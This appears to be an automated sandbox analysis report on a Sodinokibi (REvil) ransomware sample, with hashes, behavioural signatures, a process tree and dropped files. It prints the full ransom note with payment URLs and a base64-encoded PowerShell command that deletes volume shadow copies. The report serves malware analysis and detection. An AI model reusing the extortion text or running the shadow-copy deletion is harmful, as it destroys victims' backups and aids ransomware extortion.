Analysis

  • max time kernel
    129s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    28-05-2024 23:42

General

  • Target

    7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe

  • Size

    166KB

  • MD5

    7ece52b3a95a0934a85cb7f71fe9377a

  • SHA1

    6793f912e1608e4bd0a1980d60531e6cbaa17895

  • SHA256

    31b0de39d5d708322dc6adc52be4d833b4539cd0e9d400a60f0f234c705e9486

  • SHA512

    2733d0a99da8295f97b48331b711e3f0e08afa58af076a7da0df12bf19a22aeef1a04536ff9880872789adc5c87206065f4a130d27ff78230f8b155c7d4685ec

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3Qnw1lGHBSjph:ZJ0BXScFy2RsQJ8zgklIB

Malware Config

Extracted

Path

C:\Users\m94h1-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension m94h1. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F93579E57751B1A9 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F93579E57751B1A9 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: fNnZEmqVOHEjm1nRztiKwcHL5kJF4tF4t+QzAw/er5ea/d2qxa4vlTE4YKLpCmEp 6oXSa8Pj6MhW0ybPYLwCM2RPYQDAAPtiXbnjmbrPoYgHWypkfh2HuSTVWvs1rA6S DzqZSsUXEhZKDPUfmoJAJ+/0ojYRJZAgXymB+PugfQeZB43AVN5mJiRzSi0vZNgz eoe8456dDmkZLWiRlAbP7U2hFK0Oue0p2gQEVxcE80PP4H8VN03O6YfguLFCWME3 UaZp6NWWc6u4JVipji8fdS9XyPTCVmy6pfynIuab+6bzSHpEQg0dAjkcIkIZ1b3T 0b6eydp2/llyBoxcsxdmaxxuUngGGbv8d+jSL60pSg8NKcLL0Ak4NtZeNphAGoj6 6QTDfvNDbVeuTTvBUjgHAlpNQwIFQEkd5ql011XAeaJfDy7TQlzaywXSadLq3crj NPxGKoEakYdLaPt6AGifM5VDiGjnluQcQG+JfMtGmSTyYvMdr0DHjmg3CHnP9SKT sRwer0Ig+ulAAnvOCG3hxEP8N//t5//+K794AZBlflYFKZJ2ClJbJiFTDML39p/4 7CNbTeq//1ETcycIf//pwLO1XPEKSA4neeWedIroNSykX1eJT+pyXpZk+7mYj4vW AhyzqmpjwU34jyc2umoWNdY5vnoXGDZNdPz52NPQ3LdWjKljqa4nzJKgeY/SXvjo ho1v2wRC4sv9C0IC0hsPQdiKyPrf1raBD0kNwCMTyqeSJRTSNaR0X8VBZe6FZw1w WSXK3rv1fLVa6RcHmTfBDT/9s3QrLvRpsMNFcNGMq5zhabt/YXhl9PTaSVAhheh0 KwnwicpJWLFMSR5TgIS37EgninTkUOganCwedMkWOTEvPD3HCgdrTJpoEnI52XEE AlTtomElB8ucOLTJB7RlCJkhIQnod4VXJyusS+S0b3pNnaaEWMe9VZTikc3z2Yfd i857aSWVxn9+koJWhAb8T7QyJM7cjFWgEw7FCsUOq32fclUo/Tl4Gf85fviTaPNU b81jF56EKPSaoaiVgZpiGR+kmGjhjWBuaRouGNgkT/gJ8UiTlkVehHyWq5bT/jNe nmQfcBmPrNcUGNlEjh9787DqvBuO3j6fTfhtnxXXGAhjFHaTGvF03Xpk76cfn7mX rasi6RDITM78Wd7VsSSvZ0qMZAoRMaIiKn38XdwwbxiUnoK4fjXSz39VyIA8ORal s2lntJ3svjkUVmnhgOfZHSxnfZoJa8z2v+Uw6umnklykzu9Si2zeS43LmfLUIFnJ cRpaJZuffs/I3tMHuBJEoL+qqTm3uGewRFmMsq8lPwR61zHFx6/MhQ1x4Sa3pklG Jci0ASqDl1qLSWjr0jnKOBrp1yxFqRxMcmXmh91/ ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F93579E57751B1A9

http://decryptor.cc/F93579E57751B1A9

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 34 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1540
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2936
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2496
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2468

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      70KB

      MD5

      49aebf8cbd62d92ac215b2923fb1b9f5

      SHA1

      1723be06719828dda65ad804298d0431f6aff976

      SHA256

      b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

      SHA512

      bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

    • C:\Users\Admin\AppData\Local\Temp\Cab44A0.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\Tar45B1.tmp

      Filesize

      181KB

      MD5

      4ea6026cf93ec6338144661bf1202cd1

      SHA1

      a1dec9044f750ad887935a01430bf49322fbdcb7

      SHA256

      8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

      SHA512

      6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

    • C:\Users\m94h1-readme.txt

      Filesize

      6KB

      MD5

      885042ccdd8519fe74c030f1bec4fa60

      SHA1

      cd63a6b886006acd6820e5367bff30d0d62bd401

      SHA256

      a8bcdc7c7532a5c1ded6c0333bbb461ac33c5b5b0b1ffa2cd3baf23fa1e9a77b

      SHA512

      2fbf780458f0aabad699d7656e7cd9a4d8c7b36d7b93e6e621c5ab060f25e8383a4786a22b380e0afcbf16611923746ea2ca8cd11d9296e9504bbf1ab4bed293

    • C:\Windows\System32\catroot2\dberr.txt

      Filesize

      192KB

      MD5

      0878147d602bf154b34561313819336e

      SHA1

      c1453e202bf32551237bf98f09fdfad089b26dac

      SHA256

      2c98a4042f452d95ad1c1d01587d15c4fa3c85dc4448d14dec1f1c9a4e555eb2

      SHA512

      f48ed017102e18334fed18449b8d29692a23d69caa0705093feceee06634cb29833408096d0ed01dfc8160c1a1e5e32d84af81223a52605651deebb45bb21271

    • memory/2936-4-0x000007FEF5E1E000-0x000007FEF5E1F000-memory.dmp

      Filesize

      4KB

    • memory/2936-5-0x000000001B690000-0x000000001B972000-memory.dmp

      Filesize

      2.9MB

    • memory/2936-6-0x0000000002240000-0x0000000002248000-memory.dmp

      Filesize

      32KB

    • memory/2936-7-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2936-8-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2936-9-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2936-10-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

      Filesize

      9.6MB